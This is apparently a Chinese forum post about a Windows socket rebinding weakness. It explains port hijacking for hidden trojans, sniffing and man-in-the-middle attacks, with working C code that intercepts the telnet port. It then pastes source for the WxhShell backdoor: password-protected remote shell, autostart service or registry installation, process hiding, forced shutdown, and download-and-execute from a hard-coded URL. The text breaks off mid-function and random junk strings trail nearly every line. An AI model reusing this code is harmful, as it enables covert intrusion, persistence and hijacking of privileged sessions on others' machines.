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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1AAOg+Y@U"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K410.o/=-  
6Eyinv  
  saddr.sin_family = AF_INET; aKC,{}f$m  
}B@44HdY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2i)vT)~  
h@%a+6b?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I@q(P>]X9  
LGT?/ gup  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'ocPG.PaU  
= ow=3Ku  
  这意味着什么?意味着可以进行如下的攻击: vXT>Dc2\!  
3V%ts7:a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 12HE =  
<P.'r,"[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hD9b2KZv  
]'5 G/H5?;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "r[Ob]/  
,v_NrX=f?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )>I-j$%=2  
W.Z`kH *B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 U6F1QLSLz  
Cxra(!&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "?ON0u9  
5%RiM|+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 z4{ :X Da  
5]~4 51  
  #include  4}F~h  
  #include yZkS   
  #include {3!E8~  
  #include    t[o_!fmxZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s"B2Whe  
  int main() DIF-%X5  
  { !!d?o  
  WORD wVersionRequested; DTvCx6:!  
  DWORD ret; p((a(Q/  
  WSADATA wsaData; -_ <z_IL\%  
  BOOL val; qylI/,y{  
  SOCKADDR_IN saddr; OxqkpK&  
  SOCKADDR_IN scaddr; }56WAP}Z 4  
  int err; >)+N$EN  
  SOCKET s; 58P[EMhL  
  SOCKET sc; XeX` h_  
  int caddsize; uYC1}Y5N  
  HANDLE mt; nYE%@Up  
  DWORD tid;   L :Ldk  
  wVersionRequested = MAKEWORD( 2, 2 ); n50W HlMtt  
  err = WSAStartup( wVersionRequested, &wsaData ); :B:6ezDF6  
  if ( err != 0 ) { DB3qf>@?  
  printf("error!WSAStartup failed!\n"); nM|F MK^  
  return -1; ~3Y4_b5E  
  } c3.;o  
  saddr.sin_family = AF_INET; ym_p49  
   tmi)LRF H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w|c200Is}e  
iF Zqoz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Oi<yT"7  
  saddr.sin_port = htons(23); Ug\$Ob5=q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XIn,nCY;  
  { %Ni"*\  
  printf("error!socket failed!\n"); ?!y<%&U  
  return -1; ;OZl' . %`  
  } m UUNR,  
  val = TRUE; nx{MUN7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8QMib3p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VS@e[,  
  { qHn X)  
  printf("error!setsockopt failed!\n"); <iB5&  
  return -1; ?[7KN8$  
  } b8E7/~<z3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Bk[C=<X  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0+e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6ZfL-E{  
Kr;;aT0P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \rd%$hci  
  { e~7FK_y#0  
  ret=GetLastError(); |-L7qZu%  
  printf("error!bind failed!\n"); @qEUp7W.?  
  return -1; in6*3C4  
  } (e Ssx/  
  listen(s,2); HoK+g_9~  
  while(1) 54=*vokX_  
  { }(7TiCwd  
  caddsize = sizeof(scaddr); \440gH`  
  //接受连接请求 h"nhDART<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K&eT*JW>  
  if(sc!=INVALID_SOCKET) aYn5AP'PH  
  { U7Oa 13Qz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2T(7V[C%9  
  if(mt==NULL) 4:5M,p  
  { )qe rA  
  printf("Thread Creat Failed!\n"); xpc{#/Nk  
  break; yD#(Iw  
  } Cz &3=),G  
  } :$0yp`k  
  CloseHandle(mt); t YxN^VqU  
  } hZlHY9[t?  
  closesocket(s); B<i(Y1n[  
  WSACleanup(); #p"$%f5Q_  
  return 0; FzNj':D  
  }   t<o7 S:a"  
  DWORD WINAPI ClientThread(LPVOID lpParam) W^)mz,%x  
  { CK1A$$gnz  
  SOCKET ss = (SOCKET)lpParam; IqiU  
  SOCKET sc; 05g %5vHF  
  unsigned char buf[4096]; sC0u4w>Y  
  SOCKADDR_IN saddr; Ho =vdB  
  long num; fvk(eWB  
  DWORD val; 6%}`!_N<Mc  
  DWORD ret; U p6OCF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NfnPXsad  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @T:J<,  
  saddr.sin_family = AF_INET; i&?\Pp;5-j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `!$6F:d_l  
  saddr.sin_port = htons(23); <p}7T]a7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QO^V@"N  
  { lX.-qCV"B  
  printf("error!socket failed!\n"); ,J,Rup">h  
  return -1; NGJst_  
  } (T%?@'\  
  val = 100; ZZ  Hjv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +3J<vM}dy  
  { }0tHzw=#%e  
  ret = GetLastError(); 4.^T~n G  
  return -1; #:By/9}-  
  } xy b=7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8|^&~Rl4  
  { qoOwR[NDcq  
  ret = GetLastError(); qYJ<I'Ux O  
  return -1; +Gg|BTTL/  
  } ~_Fx2T:X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?dbSm3  
  { 6<T:B[a-  
  printf("error!socket connect failed!\n"); Il Qk W<  
  closesocket(sc); ;S \s&.u  
  closesocket(ss); /_})7I52  
  return -1; 0KTO )K  
  } rZ|p{ym  
  while(1) ]E$NJq|  
  { v bn=ywz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i1XRB C9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 l5.k2{'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U[02$gd0l  
  num = recv(ss,buf,4096,0); T A0(U$ 4  
  if(num>0) 1ANFhl(l  
  send(sc,buf,num,0); y*ZA{  
  else if(num==0) !y B4;f$  
  break; Li]96+C$}  
  num = recv(sc,buf,4096,0); &a=78Z  
  if(num>0) R?{xs  
  send(ss,buf,num,0); Kei0>hBi  
  else if(num==0) sOlnc6  
  break; WG3!M/4r H  
  } \pfa\, rW  
  closesocket(ss); ]WYV  
  closesocket(sc); `FQ]ad Fz  
  return 0 ; >~nr,V.q  
  } 5a'`%b{{  
NLK1IH#  
#Tei0B7  
========================================================== ,h*N9}xYTi  
B}[f]8jrM  
下边附上一个代码,,WXhSHELL 0&j90J$`  
7P<f(@0h$E  
========================================================== /'aqQ K<  
(Hj[9[=  
#include "stdafx.h" 2.I|8d[  
ge1. HG  
#include <stdio.h> |=*)a2  
#include <string.h> M:GpyE%  
#include <windows.h> gT0yI ;g]  
#include <winsock2.h> :;.^r,QAI  
#include <winsvc.h> D\b$$z]q  
#include <urlmon.h> E r%&y  
)ds]fvMW]N  
#pragma comment (lib, "Ws2_32.lib") r'j88)^  
#pragma comment (lib, "urlmon.lib") 2H}y1bkW  
Vj9X6u}{  
#define MAX_USER   100 // 最大客户端连接数 z4Zm%  
#define BUF_SOCK   200 // sock buffer %jy$4qAf%  
#define KEY_BUFF   255 // 输入 buffer S4`X^a}pY  
` PQQU~^  
#define REBOOT     0   // 重启 8T9 s:/%  
#define SHUTDOWN   1   // 关机 .Y{x!Q"  
@, GL&$Y:W  
#define DEF_PORT   5000 // 监听端口 \Q(a`6U  
Lv]%P.=[G  
#define REG_LEN     16   // 注册表键长度 lYCvYe  
#define SVC_LEN     80   // NT服务名长度 7)V"E-6h  
!5(DU~S*@S  
// 从dll定义API 4pf@.ra,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0t%]z!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e}1Q+h\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w(&EZDe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jh0Grq  
" Q?~LB  
// wxhshell配置信息 wR@>U.XT@  
struct WSCFG { YB7n}r23  
  int ws_port;         // 监听端口 %L*EB;nK  
  char ws_passstr[REG_LEN]; // 口令 RW+u5Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no I51]+gEN  
  char ws_regname[REG_LEN]; // 注册表键名 $uDgBZA\  
  char ws_svcname[REG_LEN]; // 服务名 p$9Aadi]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pT->qQ3;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =~hb&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A~PR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TT/H"Ri}Jp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tngB;9c+w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n}.e(z_"  
j=irx5:  
}; k\ .9iI'6  
JkWhYP}  
// default Wxhshell configuration e O\72? K  
struct WSCFG wscfg={DEF_PORT, Bh2l3J4X  
    "xuhuanlingzhe", <[)-Q~Gg5  
    1, h;jO7+W  
    "Wxhshell", 3 R+e  
    "Wxhshell", > v%.q]E6n  
            "WxhShell Service", b(GV4%  
    "Wrsky Windows CmdShell Service", dT*Yv`h  
    "Please Input Your Password: ", 1#6emMV.`  
  1, H?];8wq$G  
  "http://www.wrsky.com/wxhshell.exe", d,Aa8I  
  "Wxhshell.exe" r[i^tIv6As  
    }; qIQ=OY=6  
Cjr]l!  
// 消息定义模块  RbTGAA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @@H_3!B%4v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B4RrUA32  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; PM[_0b  
char *msg_ws_ext="\n\rExit."; |-}. Y(y  
char *msg_ws_end="\n\rQuit."; \)No?fB  
char *msg_ws_boot="\n\rReboot..."; &M}X$k I  
char *msg_ws_poff="\n\rShutdown..."; 5OI.Ka  
char *msg_ws_down="\n\rSave to "; isL zgN%  
q7Hf7^a  
char *msg_ws_err="\n\rErr!"; HK/WO jr  
char *msg_ws_ok="\n\rOK!"; 1v]%FC`  
GLtd<M"  
char ExeFile[MAX_PATH]; H_ $?b  
int nUser = 0; aYaEy(m  
HANDLE handles[MAX_USER]; -i:WA^yKgw  
int OsIsNt; XeI2 <=@%  
L T$U z  
SERVICE_STATUS       serviceStatus; uL/wV~g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cDY)QUmi  
H9(?yI@Zr#  
// 函数声明 EcB !bf  
int Install(void); qX-ptsQ  
int Uninstall(void); tJ6@Ot  
int DownloadFile(char *sURL, SOCKET wsh); J;>epM ;*  
int Boot(int flag); .@,t}:lD  
void HideProc(void); d#0:U Y%~  
int GetOsVer(void); /%&  d:  
int Wxhshell(SOCKET wsl); dR]-R/1|  
void TalkWithClient(void *cs); m}wn+R  
int CmdShell(SOCKET sock); T06(Q[)  
int StartFromService(void); -_ I)5*N  
int StartWxhshell(LPSTR lpCmdLine); D8wf`RUt  
C12UZE;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,XO@ZBOM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "TJu<O"2  
tRdf:F\X  
// 数据结构和表定义 .U0Gm_c0  
SERVICE_TABLE_ENTRY DispatchTable[] = Jr !BDg  
{ tdH[e0x B  
{wscfg.ws_svcname, NTServiceMain}, }CBQdH&g;  
{NULL, NULL} ?z9!=A%<V~  
}; :Ph>\aG  
"V>}-G&  
// 自我安装 !#)t<9]fv  
int Install(void) ]!/U9"_e"B  
{ 6]?%1HSi  
  char svExeFile[MAX_PATH]; ~-zTY&c_  
  HKEY key; k\#;  
  strcpy(svExeFile,ExeFile); RJWO h  
H:c5 q0O^x  
// 如果是win9x系统,修改注册表设为自启动 9i5?J]o^  
if(!OsIsNt) { UUV5uDe>i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F<I*?${[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;98&5X\u<  
  RegCloseKey(key); Xk4wU$1F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l)[|wPf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tS2 &S 6u  
  RegCloseKey(key); (kLaXayn  
  return 0; {Ge{@1  
    } UN.;w3`Oc  
  } ur}'Y^0iR  
}  B(;MI`  
else { _&/`-"3y  
/^.S nqk  
// 如果是NT以上系统,安装为系统服务 0P5VbDv$r7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  1c0' i  
if (schSCManager!=0) $yASWz  
{ f=l/Fp}4UH  
  SC_HANDLE schService = CreateService Da(k>vR@4  
  ( TRm#H $  
  schSCManager, ZW [&7[4  
  wscfg.ws_svcname, h:8P9WhWF  
  wscfg.ws_svcdisp, N55F5  
  SERVICE_ALL_ACCESS, :VT%d{Vp_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uB  I/3aQ  
  SERVICE_AUTO_START, rC-E+%y  
  SERVICE_ERROR_NORMAL, #BLHHK/[  
  svExeFile, 1VgGF^cYR  
  NULL, W Ej{2+  
  NULL, 3<^Up1CaZ  
  NULL, xQFY/Z  
  NULL, f]/2uUsg %  
  NULL {1SsH ir>  
  ); S&!(h {O  
  if (schService!=0) jKml:)k  
  { Y#9W]78He  
  CloseServiceHandle(schService); n|{K_! f  
  CloseServiceHandle(schSCManager); 7 XxZF43  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E5^\]`9P  
  strcat(svExeFile,wscfg.ws_svcname); wG,"X'1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MR1I"gqE}I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |E1U$,s~u  
  RegCloseKey(key); DJ"PP 5d  
  return 0; QOXo(S  
    } 3lp'U&3`5  
  } Lm4`O %  
  CloseServiceHandle(schSCManager); J>A9]%M  
} 01?+j%k=m/  
} '.bf88D  
(fF8)4l  
return 1; V~dhTdQ5}  
} vS8& ,wJ!  
+7gd1^|$e  
// 自我卸载 OE@[a  
int Uninstall(void) ^K<3_D>1>  
{ 0>od1/`  
  HKEY key; Yg8* )u0  
H'k}/<%Q  
if(!OsIsNt) { |cU75 S1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B%8@yS  
  RegDeleteValue(key,wscfg.ws_regname); -V}oFxk]q  
  RegCloseKey(key); D}?p>e|<D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s0iG |vw  
  RegDeleteValue(key,wscfg.ws_regname); E2dM0r<]  
  RegCloseKey(key); %V>%AP  
  return 0; }:2##<"\t  
  } tDRR3=9pX  
} F^.A~{&L  
} r? /Uu &  
else { 4Fft[S(  
9rMO=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >/A]C$?3  
if (schSCManager!=0) EX8+3>)  
{ ~q3O,bb{   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I> ;{BYPV  
  if (schService!=0) FaeKDbLJr  
  { '{ _ X1  
  if(DeleteService(schService)!=0) { \\R}3 >Wc  
  CloseServiceHandle(schService); E]' f&0s  
  CloseServiceHandle(schSCManager); S~3|1Hw*tN  
  return 0; Rge>20uTl$  
  } Rf!v{\  
  CloseServiceHandle(schService); UH MJ(.Wa-  
  } +VkL?J  
  CloseServiceHandle(schSCManager); N6._J b  
} N0p6xg~  
} a^%)6E.[,  
p3A9 <g  
return 1; LFax$CZc  
} VO0:4{-  
Y!L-5|G  
// 从指定url下载文件 t1hQ0B  
int DownloadFile(char *sURL, SOCKET wsh) /0/ouA>+  
{ ;5ki$)v"  
  HRESULT hr; 8{ZTHY -  
char seps[]= "/";  @/s|<*  
char *token; 5?^#v  
char *file; ^s{Ff+]W  
char myURL[MAX_PATH]; 0#WN2f, <:  
char myFILE[MAX_PATH]; ?b+Y])SJK  
~P'.R.e  
strcpy(myURL,sURL); 4gen,^Ij  
  token=strtok(myURL,seps); ^.6yzlY  
  while(token!=NULL) )g'J'_Sl  
  { V*@aE  
    file=token; RB %+|@c  
  token=strtok(NULL,seps); t1w]L  
  } +;~N; BT  
"s0,9; }  
GetCurrentDirectory(MAX_PATH,myFILE); (vG*)a  
strcat(myFILE, "\\"); 46g0 e  
strcat(myFILE, file); 'JOCL0FP  
  send(wsh,myFILE,strlen(myFILE),0); gO8d2?Oh  
send(wsh,"...",3,0); BzfR8mD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I,hw0e  
  if(hr==S_OK) K%dQ; C*?  
return 0; ],weqs  
else 4H6Fq*W{k  
return 1; M[`[+5v  
A&M_ J  
} `0qjaC  
Pg8.RvmQ  
// 系统电源模块 4;AF\De  
int Boot(int flag) $bG*f*w  
{ f 0H.$UAL  
  HANDLE hToken; d}Pfj=W  
  TOKEN_PRIVILEGES tkp; ><}nZ7  
7Vy_Cec1  
  if(OsIsNt) { u1 Q;M`+>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x[58C+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nz3*s#k\-  
    tkp.PrivilegeCount = 1; ~s+vJvWz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )7& -DI1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v^ ^Ibv  
if(flag==REBOOT) { bW=q G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i9L]h69r  
  return 0; TO.b- ;  
} yn\c;Z  
else { Ss%Cf6qdWL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g)#?$OhP"  
  return 0; G*4I;'6  
} wnC} TWxX  
  } !An?<Sv$  
  else { fM ID}S  
if(flag==REBOOT) { zb{79Os[B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A M[f  
  return 0; zd[k|lj  
} C>Hdp_Lm  
else { 2OJlE) .  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v ;\cM/&5  
  return 0;  BI?, 3  
} G[ U5R?/  
} $l*?Ce:  
)8C`EPe  
return 1; m538p.(LIR  
} $Y7VA  
:%h1Q>F  
// win9x进程隐藏模块 9jjeZc'  
void HideProc(void) w(V%EEk  
{ (B4)L%  
i?!9%U!z4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b,+Sa\j)(  
  if ( hKernel != NULL ) +%XByY5  
  { C4(xtSJSd!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -rU_bnm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \OVFZ D  
    FreeLibrary(hKernel); Z5'^81m$o  
  } ~ L4NK#  
yz K<yvN  
return; %Lh%bqGz  
}  ijOp{  
, ~ 1+MZ=  
// 获取操作系统版本 O5r8Ghf )  
int GetOsVer(void) q%x i>H.:{  
{ 'etA1]<N  
  OSVERSIONINFO winfo; OM1Z}%J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vSHPN|*  
  GetVersionEx(&winfo); d3q%[[@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xmnBG4,f  
  return 1; <<01@Q <  
  else znE1t%V  
  return 0; yo[Sh6r/9b  
} >h8m)Q  
c~tl0XU1  
// 客户端句柄模块 ZRf9'UwS  
int Wxhshell(SOCKET wsl) u~OlJ1V  
{ T!,5dt8L  
  SOCKET wsh; Bg),Q8\I  
  struct sockaddr_in client; <\epj=OclV  
  DWORD myID; +r!NR?^m  
]6M<c[H>  
  while(nUser<MAX_USER) I-^sJ@V;  
{ oZ*?Uh*  
  int nSize=sizeof(client); \=WPJm`p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nx%As  
  if(wsh==INVALID_SOCKET) return 1; tF),Sn|*  
"BT M,CB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z" tz-~  
if(handles[nUser]==0) h)Fc<,vwBE  
  closesocket(wsh); BX$<5S@  
else "9P @bA  
  nUser++; ^5s7mls  
  } `n>|rd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7R6B}B?/  
R*pPUw\yn  
  return 0; SY5}Bu#  
} )tBz=hy#  
_p8u &TZ  
// 关闭 socket 0s-K oz  
void CloseIt(SOCKET wsh) nnn\  
{ Z$J-4KN  
closesocket(wsh); 4}DFCF%B  
nUser--; _OG9wi(Fpx  
ExitThread(0); )yyH_Ax2  
} [lML^CYQ  
ZY,$oFdsi  
// 客户端请求句柄 'l(s)Oa{M:  
void TalkWithClient(void *cs) zI[<uvxzW`  
{ /lR*ab  
8a*&,W  
  SOCKET wsh=(SOCKET)cs; 1av#u:jy~>  
  char pwd[SVC_LEN]; JL4E`  
  char cmd[KEY_BUFF]; C:No ^nH>  
char chr[1]; zV}:~;w  
int i,j; ~E 6sY  
eikZ~!@  
  while (nUser < MAX_USER) { eW 4[2Q  
Z&>Cdgt*  
if(wscfg.ws_passstr) { ?u#s?$Y?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K9ia|2f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m Z +dr[  
  //ZeroMemory(pwd,KEY_BUFF); EHq; eF  
      i=0; HXT"&c|  
  while(i<SVC_LEN) { -6J <{1V  
MUbKlX  
  // 设置超时 3:xx:Jt  
  fd_set FdRead; <O=0^V  
  struct timeval TimeOut; gd * b0(  
  FD_ZERO(&FdRead); lZRO"[<  
  FD_SET(wsh,&FdRead); 3U^Vz9LW  
  TimeOut.tv_sec=8; j~Pw t9G  
  TimeOut.tv_usec=0; [<,7LG<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v76P?[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gw"SKp!]  
w-JWMgY8w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [5' HlHK  
  pwd=chr[0]; Ba?1q%eG  
  if(chr[0]==0xd || chr[0]==0xa) { ! $mY.uu  
  pwd=0; +w[ZMk  
  break; gpyio1V>  
  }  \xp0n  
  i++; "0%K3d+  
    } 'AK '(cZ  
ftMlm_u  
  // 如果是非法用户,关闭 socket Ws5N|g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m lc8q s  
} 7~J>Ga  
kntY2FM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J>#hu3&UOQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~x(|'`  
iLv -*%%  
while(1) { 3r#['UmT  
W*s=No3C  
  ZeroMemory(cmd,KEY_BUFF); P !f{U;B  
q}p$S2`  
      // 自动支持客户端 telnet标准   _O}U4aGMTC  
  j=0; w_>\Yd[  
  while(j<KEY_BUFF) { r'nPP6`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pf'DbY!  
  cmd[j]=chr[0]; 423%K$710  
  if(chr[0]==0xa || chr[0]==0xd) { .lj5pmD  
  cmd[j]=0; :vIJ>6lIR  
  break; " 4#&tNQ  
  } .n+ ;&5  
  j++; w=?nD6Xhz  
    } kwaZn~  
3| w$gG;Y  
  // 下载文件 Z[VrRT,\c  
  if(strstr(cmd,"http://")) { 0xDn!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I}u\ov_Su  
  if(DownloadFile(cmd,wsh)) sg-^ oy*^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-!Fr:Ox>  
  else O)V;na  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &8f/6dq  
  } h-"q <eY"  
  else { c;/vzIJj  
VF11eZ"  
    switch(cmd[0]) { :0(^^6Q\  
  7L/LlO/  
  // 帮助 3pML+Y|ij  
  case '?': { p=UW ^95  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N`7OJ)l  
    break; ]r!|@AWrQ\  
  } bBML +0a  
  // 安装 E> pr})^w  
  case 'i': { Z] r9lC  
    if(Install()) jFg19C{=X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WFc4(Kl  
    else >{(c\oMD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .9Oj+:n  
    break; d , g~.iS~  
    } %pWJ2J@  
  // 卸载 CLZ j=J2  
  case 'r': { 6oQ7u90z*  
    if(Uninstall()) y`$qcEw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'LG\]h>+)  
    else sF)$<[w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IAkQR0fcN  
    break; 0TV16 --  
    } &k|EG![  
  // 显示 wxhshell 所在路径 m4W (h6  
  case 'p': { q]f7D\ M  
    char svExeFile[MAX_PATH]; yqK_|7I+  
    strcpy(svExeFile,"\n\r"); $X:,Q,?  
      strcat(svExeFile,ExeFile); EP;ts  
        send(wsh,svExeFile,strlen(svExeFile),0); c{to9Lk.#  
    break; Cp!9 "J:  
    } :(OV{ u  
  // 重启 WwoT~O8R  
  case 'b': {  * ;Q#UH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H@zZ[  
    if(Boot(REBOOT)) % +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ueU"v'h\  
    else { f%_$RdU  
    closesocket(wsh); Z%ZOAu&p  
    ExitThread(0); )CoFRqz<h  
    } um]N]cCD`  
    break; nTsV>lQY,  
    } WxD$k3U  
  // 关机 +KExK2=  
  case 'd': { 3,i`FqQa  
